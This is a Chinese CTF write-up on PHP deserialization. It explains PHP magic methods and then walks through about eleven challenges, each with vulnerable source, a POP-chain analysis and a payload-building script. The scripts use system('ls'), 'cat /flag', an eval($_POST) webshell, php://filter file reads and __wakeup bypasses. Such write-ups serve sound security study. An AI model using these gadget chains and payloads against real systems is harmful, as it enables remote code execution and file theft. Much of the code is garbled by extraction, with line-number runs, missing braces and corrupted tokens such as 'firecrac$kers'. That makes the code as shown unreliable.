php反序列化 php魔术方法 1、__get、__set 这两个方法是为在类和他们的父类中没有声明的属性而设计的 __get( $property ) 当调用一个未定义的属性时访问此方法 __set( $property, $value ) 给一个未定义的属性赋值时调用 这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性) 
2、__isset、__unset __isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法 __unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法 与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性) 
3、__call __call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法 
4、__autoload __autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。 注意: 在 autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。 
5、__construct、__destruct __construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称 __destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法 默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用. 在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。
 6、__clone PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。 __
7、__toString toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。 在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符) 从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。 
 8、__sleep、__wakeup __sleep 串行化的时候用 __wakeup 反串行化的时候调用 serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。 使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。 相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
 9、set_state 当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。 
__ 10、__invoke 当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效
 11、__callStatic 它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。 同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。
call_user_func(函数,参数) 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php class  A         public  $a ="hi" ;         public  $b ="no" ;         function  __construct (          {            $this ->a="hiiiii!" ;             echo  $this ->a."\n" ;             echo  "this is construct\n" ;         }         function  __wakeup (          {            echo  "this is wakeup\n" ;         }         function  __destruct (          {            echo  "this is destruct\n" ;         }         function  __toString (          {            return  "this is tostring\n" ;         }         function  __call ($name , $arguments           {            echo  "this is call\n" ;         }         function  __get ($a           {            echo  "this is get\n" ;         }         function  __invoke (          {            echo  "this is invoke\n" ;         }                  function  say_hi (          {            echo  "hiuhiu\n" ;         }     }     $aa =new  A ();     $aa ->say_hi ();     $bb =serialize ($aa );     $cc =unserialize ($bb );      echo  $aa ;     $aa ->say_no ();      $aa ->c;      $aa ();  
运行结果
hiiiii!
1.[SWPUCTF 2021 新生赛]ez_unserialize 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );show_source ("cl45s.php" );class  wllm     public  $admin ;     public  $passwd ;     public  function  __construct (         $this ->admin ="user" ;         $this ->passwd = "123456" ;     }         public  function  __destruct (         if ($this ->admin === "admin"  && $this ->passwd === "ctf" ){             include ("flag.php" );             echo  $flag ;         }else {             echo  $this ->admin;             echo  $this ->passwd;             echo  "Just a bit more!" ;         }     } } $p  = $_GET ['p' ];unserialize ($p );?> 
传入的p调用wllm方法。
__construct()创建一个对象 里面有admin和passwd的值,同时被赋值
__destruct()销毁对象的时候 把对应的值读出来。
需要传入一个值,把值改为我所需要的值。
解码脚本如下
1 2 3 4 5 6 7 8 9 10 11 <?php class  wllm     public  $admin ;     public  $passwd ; } $aa  = new  wllm ();$aa ->admin = "admin" ;$aa ->passwd = "ctf" ;$stus  = serialize ($aa );echo ($stus );?> 
post一下。
2.[网鼎杯 2020 青龙组]AreUSerialz 好长的序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php include ("flag.php" );highlight_file (__FILE__ );class  FileHandler      protected  $op ;     protected  $filename ;     protected  $content ;     function  __construct (         $op  = "1" ;         $filename  = "/tmp/tmpfile" ;         $content  = "Hello World!" ;         $this ->process ();     }     public  function  process (         if ($this ->op == "1" ) {             $this ->write ();         } else  if ($this ->op == "2" ) {             $res  = $this ->read ();             $this ->output ($res );         } else  {             $this ->output ("Bad Hacker!" );         }     }     private  function  write (         if (isset ($this ->filename) && isset ($this ->content)) {             if (strlen ((string )$this ->content) > 100 ) {                 $this ->output ("Too long!" );                 die ();             }             $res  = file_put_contents ($this ->filename, $this ->content);             if ($res ) $this ->output ("Successful!" );             else  $this ->output ("Failed!" );         } else  {             $this ->output ("Failed!" );         }     }     private  function  read (         $res  = "" ;         if (isset ($this ->filename)) {             $res  = file_get_contents ($this ->filename);         }         return  $res ;     }     private  function  output ($s          echo  "[Result]: <br>" ;         echo  $s ;     }     function  __destruct (         if ($this ->op === "2" )             $this ->op = "1" ;         $this ->content = "" ;         $this ->process ();     } } function  is_valid ($s     for ($i  = 0 ; $i  < strlen ($s ); $i ++)         if (!(ord ($s [$i ]) >= 32  && ord ($s [$i ]) <= 125 ))             return  false ;     return  true ; } if (isset ($_GET {'str' })) {    $str  = (string )$_GET ['str' ];     if (is_valid ($str )) {         $obj  = unserialize ($str );     } } 
is_valid函数要求传入的ascill码都在32到125之间
分析给的源码
分析pop链
flag.php->output()->read()->op=2->process()->destruct()
1 2 3 4 5 6 7 8 9 10 11 <?php class  FileHandler      public  $op  =2 ;     public  $filename ="flag.php" ;     public  $content ="666" ; } $a =new  FileHandler ();$b =serialize ($a );echo  $b ;?> 
解密脚本如上
3.[SWPUCTF 2021 新生赛]no_wakeup 源码如上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );show_source ("class.php" );class  HaHaHa         public  $admin ;         public  $passwd ;         public  function  __construct (             $this ->admin ="user" ;             $this ->passwd = "123456" ;         }         public  function  __wakeup (             $this ->passwd = sha1 ($this ->passwd);         }         public  function  __destruct (             if ($this ->admin === "admin"  && $this ->passwd === "wllm" ){                 include ("flag.php" );                 echo  $flag ;             }else {                 echo  $this ->passwd;                 echo  "No wake up" ;             }         }     } $Letmeseesee  = $_GET ['p' ];unserialize ($Letmeseesee );?>  
分析链子
传入p,先序列化,wakeup()判断并赋值
然后比较p的内容成立就给flag
1 2 3 4 5 6 7 8 9 <?php class  HaHaHa         public  $admin ="admin" ;         public  $passwd ="wllm" ;}         $a =new  HaHaHa ();         $a =serialize ($a );         echo ($a );         ?>  
解密如上
改大hahaha前面的值大小,从而绕过wakeup()
4.[SWPUCTF 2021 新生赛]pop 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting (0 );show_source ("index.php" );class  w44m     private  $admin  = 'aaa' ;     protected  $passwd  = '123456' ;     public  function  Getflag (         if ($this ->admin === 'w44m'  && $this ->passwd ==='08067' ){             include ('flag.php' );             echo  $flag ;         }else {             echo  $this ->admin;             echo  $this ->passwd;             echo  'nono' ;         }     } } class  w22m     public  $w00m ;     public  function  __destruct (         echo  $this ->w00m;     } } class  w33m     public  $w00m ;     public  $w22m ;     public  function  __toString (         $this ->w00m->{$this ->w22m}();         return  0 ;     } } $w00m  = $_GET ['w00m' ];unserialize ($w00m );?> 
分析
目标调用 Getflag()函数
看到tostring(),调用此处 $this->w00m->{$this->w22m}();,调用getflag()
getflag<-w44w<-w33w<-w22w
解密脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class  w44m     private  $admin  = 'w44m' ;     protected  $passwd  = '08067' ; } class  w22m     public  $w00m ; } class  w33m     public  $w00m ;     public  $w22m ; } $a  = new  w22m ();$b  = new  w33m ();$c  = new  w44m ();$a ->w00m=$b ;$b ->w00m=$c ;$b ->w22m='Getflag' ;echo  serialize ($a );?> 
get一下
5.[NISACTF 2022]babyserialize 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php include  "waf.php" ;class  NISA     public  $fun ="show_me_flag" ;     public  $txw4ever ;     public  function  __wakeup (      {        if ($this ->fun=="show_me_flag" ){             hint ();         }     }     function  __call ($from ,$val          $this ->fun=$val [0 ];     }     public  function  __toString (      {        echo  $this ->fun;         return  " " ;     }     public  function  __invoke (      {        checkcheck ($this ->txw4ever);         @eval ($this ->txw4ever);     } } class  TianXiWei     public  $ext ;     public  $x ;     public  function  __wakeup (      {        $this ->ext->nisa ($this ->x);     } } class  Ilovetxw     public  $huang ;     public  $su ;     public  function  __call ($fun1 ,$arg          $this ->huang->fun=$arg [0 ];     }     public  function  __toString (         $bb  = $this ->su;         return  $bb ();     } } class  four     public  $a ="TXW4EVER" ;     private  $fun ='abc' ;     public  function  __set ($name , $value       {        $this ->$name =$value ;         if  ($this ->fun = "sixsixsix" ){             strtolower ($this ->a);         }     } } if (isset ($_GET ['ser' ])){    @unserialize ($_GET ['ser' ]); }else {     highlight_file (__FILE__ ); } ?> 
先传进去看看hint()
1 O:4 :"NISA" :1 :{s:3 :"fun" ;s:12 :"show_me_flag" ;} 
hint:flag is in /
分析:
魔术方法 1 2 3 4 5 6 7 8 9 invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法 __construst():具有构造函数的类在创建新对象的时候,回调此方法 destruct():反序列化的时候,或者对象销毁的时候调用 __wakeup():反序列化的时候调用 sleep():序列化的时候调用 __toString():把类当成字符串的时候调用,一般在echo处生效 set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__ get():读取不可访问或者不存在的属性的时候,进行赋值 __call():在对象中调用一个不可访问的方法的时候,会被执行 
pop链
@eval执行语句<<invoke()<<tostring()//顺序执行下来<<strtolower($this->a);//改变小写做str格式调用<<set()<<call()//访问不可更改的数据
//而__call方法又可直接反推回pop链入口函数__wakeup()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php class  NISA     public  $fun ;     public  $txw4ever ='system("ls");' ; } class  TianXiWei     public  $ext ;     public  $x ; } class  Ilovetxw     public  $huang ;     public  $su ; } class  four     public  $a ;     private  $fun ; } $a =new  tianxiwei;$a ->ext=new  ilovetxw;$a ->ext->huang=new  four;$a ->ext->huang->a=new  ilovetxw;$a ->ext->huang->a->su=new  nisa;echo  urlencode (serialize ($a ));
另一种解法
在NISA::__wakeup里,做弱比较的时候就能触发__toString()
1 2 3 4 5 6 7 8 9 10 class  NISA     public  $txw4ever ='SYSTEM("cat /f*");' ; } class  Ilovetxw } $a  = new  NISA ();$a ->fun = new  Ilovetxw ();$a ->fun->su = $a ;$a  = serialize ($a );echo  $a ;
6.[天翼杯 2021]esay_eval 前半为反序列化
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class  A     public  $code  = "" ;     function  __call ($method ,$args          eval ($this ->code);              }     function  __wakeup (         $this ->code = "" ;     } } class  B     function  __destruct (         echo  $this ->a->a ();     } } if (isset ($_REQUEST ['poc' ])){    preg_match_all ('/"[BA]":(.*?):/s' ,$_REQUEST ['poc' ],$ret );     if  (isset ($ret [1 ])) {         foreach  ($ret [1 ] as  $i ) {             if (intval ($i )!==1 ){                 exit ("you want to bypass wakeup ? no !" );             }         }         unserialize ($_REQUEST ['poc' ]);         } }else {     highlight_file (__FILE__ ); } 
显然是要传入执行eval()
pop链从wakep触发
B->a=>A
构造解码
1 2 3 4 5 6 7 8 9 10 11 <?php class  a public  $code  = "" ;function  __construct ($this ->code = "phpinfo();" ;}} class  b function  __construct ($this ->a=new  a ();}} echo  serialize (new  b ());
传入phpinfo执行成功,考虑ls /
发现system函数被禁用
反序列化传木马
构造code=’eval($_POST[a];)’
然后蚁剑链接
发现有限制无法传入
考虑其他方法,反序列化成功
7.[sictf2023]serialize 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php highlight_file (__FILE__ );error_reporting (0 );class  Happy     private  $cmd ;     private  $content ;     public  function  __construct ($cmd , $content       {        $this ->cmd = $cmd ;         $this ->content = $content ;     }     public  function  __call ($name , $arguments       {        call_user_func ($this ->cmd, $this ->content);     }     public  function  __wakeup (      {        die ("Wishes can be fulfilled" );     } } class  Nevv     private  $happiness ;     public  function  __invoke (      {        return  $this ->happiness->check ();     } } class  Rabbit     private  $aspiration ;     public  function  __set ($name ,$val          return  $this ->aspiration->family;     } } class  Year     public  $key ;     public  $rabbit ;     public  function  __construct ($key       {        $this ->key = $key ;     }     public  function  firecrackers (      {        return  $this ->rabbit->wish = "allkill QAQ" ;     }     public  function  __get ($name       {        $name  = $this ->rabbit;         $name ();     }     public  function  __destruct (      {        if  ($this ->key == "happy new year" ) {             $this ->firecrac$kers ();         }else {             print ("Welcome 2023!!!!!" );         }     } } if  (isset ($_GET ['pop' ])) {    $a  = unserialize ($_GET ['pop' ]); }else  {     echo  "过新年啊~过个吉祥年~" ; } ?>  
pop链思路
目的是执行 call_user_func函数=>类似于eval()
触发call(调用不可访问的东西)<=断了
正向推导:destruct(变量创建,反序列化开始)=》firecrackers()=》$this->rabbit->wish(wish不存在调用set)=》set
$this->aspiration->family(给一个private赋值)-》get()-》$name();=》invoke()=》(全部结束后set-》get-》call起效)
-》call()-》eval()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class  Happy     public  $cmd ='system' ;     public  $content ='cat /flag' ; } class  Nevv     public  $happiness ; } class  Rabbit     public  $aspiration ;  } class  Year     public  $key ;     public  $rabbit ; } $a =new  Year ();$a ->key='happy new year' ;$a ->rabbit=new  rabbit;$a ->rabbit->aspiration=new  year;$a ->rabbit->aspiration->rabbit=new  Nevv ;$a ->rabbit->aspiration->rabbit->happiness=new  happy;echo (serialize ($a ));?> 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php class  aa     public  $name ;     public  function  __construct (         $this ->name='aa' ;     }     public  function  __destruct (         $this ->name=strtolower ($this ->name);     } } class  ff     private  $content ;     public  $func ;     public  function  __construct (         $this ->content="\<?php @eval(\$_POST[1]);?>" ;     }     public  function  __get ($key          $this ->$key ->{$this ->func}($_POST ['cmd' ]);     } } class  zz     public  $filename ;     public  $content ='surprise' ;     public  function  __construct ($filename          $this ->filename=$filename ;     }     public  function  filter (         if (preg_match ('/^\/|php:|data|zip|\.\.\//i' ,$this ->filename)){             die ('这不合理' );         }     }     public  function  write ($var          $filename =$this ->filename;         $lt =$this ->filename->$var ;              }     public  function  getFile (         $this ->filter ();         $contents =file_get_contents ($this ->filename);         if (!empty ($contents )){             return  $contents ;         }else {             die ("404 not found" );         }     }     public  function  __toString (         $this ->{$_POST ['method' ]}($_POST ['var' ]);         return  $this ->content;     } } class  xx     public  $name ;     public  $arg ;     public  function  __construct (         $this ->name='eval' ;         $this ->arg='phpinfo();' ;     }     public  function  __call ($name ,$arg          $name ($arg [0 ]);     } } 
8.[第五空间 2021]pklovecloud 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php   include  'flag.php' ;class  pkphow      function  echo_name (      {                  return  "Pk very safe^.^" ;           }   }  class  acp      protected  $cinder ;       public  $neutron ;     public  $nova ;     function  __construct (      {              $this ->cinder = new  pkshow;     }       function  __toString (      {                  if  (isset ($this ->cinder))               return  $this ->cinder->echo_name ();}  }   class  ace public  $filename ;         public  $openstack ;     public  $docker ;      function  echo_name (         $this ->openstack = unserialize ($this ->docker);         $this ->openstack->neutron = $heat ;         if ($this ->openstack->neutron === $this ->openstack->nova)         {         $file  = "./{$this->filename} " ;             if  (file_get_contents ($file ))                      {                               return  file_get_contents ($file );              }               else               {                  return  "keystone lost~" ;      }       }  }  }   if  (isset ($_GET ['pks' ]))  {     $logData  = unserialize ($_GET ['pks' ]);     echo  $logData ;  }  else  {      highlight_file (__file__);  } ?>    
1.目标是包含flag。php,需要调用echo_name(),绕过if语句之后包含得到flag
2.由于$heat是一个不存在的变量,导致不能直接去赋值
3.将$this->openstack赋值为空,接下去if内的比较是null=null,只要两者为空就可成功绕过
4._tostring()调用的点再echo,由echo为pop链的入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class  acp     protected  $cinder ;     public  $neutron ;     public  $nova ;     function  __construct ($a       {        $this ->cinder = $a ;     } } class  ace     public  $filename ;     public  $openstack ;     public  $docker ; } $a  = new  acp ("" );$a ->neutron = NULL ;$a ->nova = NULL ;$b  = new  ace ();$b ->filename='../nssctfasdasdflag' ;$b ->docker=serialize ($a );$c  =new  acp ($b );echo  urlencode (serialize ($c ));
9.[nsactf2022]pop 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class  Road_is_Long     public  $page ;     public  $string ;     public  function  __construct ($file ='index.php'          $this ->page = $file ;     }     public  function  __toString (         return  $this ->string ->page;     }     public  function  __wakeup (         if (preg_match ("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) {             echo  "You can Not Enter 2022" ;             $this ->page = "index.php" ;         }             } } class  Try_Work_Hard     protected   $var ;     public  function  append ($value          include ($value );     }     public  function  __invoke (         $this ->append ($this ->var );     } } class  Make_a_Change     public  $effort ;     public  function  __construct (         $this ->effort = array ();     }     public  function  __get ($key          $function  = $this ->effort;         return  $function ();     } } 
目标是i把flag文件包含进去,实现伪协议读取
需要调用append函数=》调用invoke函数
在tryworkhard里面看到get函数里面调用了$function();(先触发invoke完成后会触发¥function():函数)
Road_is_Long的tostring里面存在着eturn $this->string->page;,调用一个不存在在string类里面的page触发get()
在正则匹配内,将变量当作字符串处理触发tostring,显然来到了wakeup
故以wakeup为入口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class  Road_is_Long 	public  $page ; 	public  $string ; } class  Try_Work_Hard 	protected  $var ="PHP://filter/read=convert.base64-encode/resource=/flag" ; } class  Make_a_Change 	public  $effort ; } $a  = new  Road_is_Long ;$b  = new  Road_is_Long ;$c  = new  Make_a_Change ;$d  = new  Try_Work_Hard ;$c -> effort = $d ;$a -> string  = $c ;$b -> page = $a ;echo  urlencode (serialize ($b ));?> 
10.[nssctf]prize p5 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php error_reporting (0 );class  catalogue     public  $class ;     public  $data ;     public  function  __construct (      {        $this ->class  = "error ";         $this ->data  = "hacker ";     }     public  function  __destruct ()      {        echo  new  $this ->class ($this ->data );     } } class  error     public  function  __construct ($OTL       {        $this ->OTL = $OTL ;         echo  ("hello " .$this ->OTL);     } } class  escape     public  $name  = 'OTL' ;                                                    public  $phone  = '123666' ;                                                public  $email  = 'sweet@OTL.com' ;                           } function  abscond ($string     $filter  = array ('NSS' , 'CTF' , 'OTL_QAQ' , 'hello' );     $filter  = '/'  . implode ('|' , $filter ) . '/i' ;     return  preg_replace ($filter , 'hacker' , $string ); } if (isset ($_GET ['cata' ])){    if (!preg_match ('/object/i' ,$_GET ['cata' ])){         unserialize ($_GET ['cata' ]);     }     else {         $cc  = new  catalogue ();          unserialize (serialize ($cc ));                }         if (isset ($_POST ['name' ])&&isset ($_POST ['phone' ])&&isset ($_POST ['email' ])){         if  (preg_match ("/flag/i" ,$_POST ['email' ])){             die ("nonono,you can not do that!" );         }         $abscond  = new  escape ();         $abscond ->name = $_POST ['name' ];         $abscond ->phone = $_POST ['phone' ];         $abscond ->email = $_POST ['email' ];         $abscond  = serialize ($abscond );         $escape  = get_object_vars (unserialize (abscond ($abscond )));         if (is_array ($escape ['phone' ])){         echo  base64_encode (file_get_contents ($escape ['email' ]));         }         else {             echo  "I'm sorry to tell you that you are wrong" ;         }     } } else {    highlight_file (__FILE__ ); } ?> 
解法一
1 2 3 4 5 6 7 8 9 10 11 12 13 class  catalogue     public  $class ;     public  $data ;     public  function  __construct (      {        $this ->class  = "error ";         $this ->data  = "hacker ";     }     public  function  __destruct ()      {        echo  new  $this ->class ($this ->data );     } } 
存在一个$a($b)的问题,可以序列化之后利用(非常简单的非预期解)上链接
$a($b) php中关于一些$a($b)_php中$b()_Msaerati的博客-CSDN博客 
对于object的过滤
当反序列化的字符串属性是大写的时候,会允许网页解析后方的16进制码
解法二
php反序列化字符串逃逸 由于存在对
array(‘NSS’, ‘CTF’, ‘OTL_QAQ’, ‘hello’的检查和替换
php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。 
2. 长度不对应的时候会报错 
3. 可以反序列化类中不存在的元素 
浅析php反序列化字符串逃逸_lemonl1的博客-CSDN博客 
PHP反序列化字符逃逸详解 - FreeBuf网络安全行业门户 
 
11.黄河流域网络安全空间2023[funnyweb] 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );class  A     public  $sdpc  = ["welcome"  => "yeah, something hidden." ];     function  __call ($name , $arguments       {        $this ->$name [$name ]();     } } class  B     public  $a ;     function  __construct (      {        $this ->a = new  A ();     }     function  __toString (      {        echo  $this ->a->sdpc["welcome" ];      } } class  C     public  $b ;     protected  $c ;     function  __construct (         $this ->c = new  B ();     }     function  __destruct (         $this ->b ? $this ->c->sdpc ('welcom' ) : 'welcome!' .$this ->c;      } } class  Evil     function  getflag (         echo  file_get_contents ('/fl4g' );     } } if (isset ($_POST ['sdpc' ])) {    unserialize ($_POST ['sdpc' ]); } else  {     serialize (new  C ()); } ?> 
利用点在file_get_include(),getflag()是出口。
getflag<=A中的call()函数=《C中存在一个protect的值,在对象销毁里面调用。
入口是c的对象销毁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );class  A     public  $sdpc ;     function  __construct (         $this ->sdpc = array ("sdpc"  => array (new  Evil (),'getflag' ));     }     function  __call ($name , $arguments       {        $name [$arguments ]();     } } class  C     public  $b ;     protected  $c ;     function  __construct (      {        $this ->c = new  A ();     }     function  __destruct (      {        $this ->b ? $this ->c->sdpc ('welcom' ) : 'welcome!'  . $this ->c;      } } class  Evil     function  getflag (      {        echo  '1' ;         file_get_contents ('/fl4g' );     } } $ca  = new  A ();$cc  = new  C ();$cc ->b = 'sp4c1ous' ;echo  urlencode (serialize ($cc ));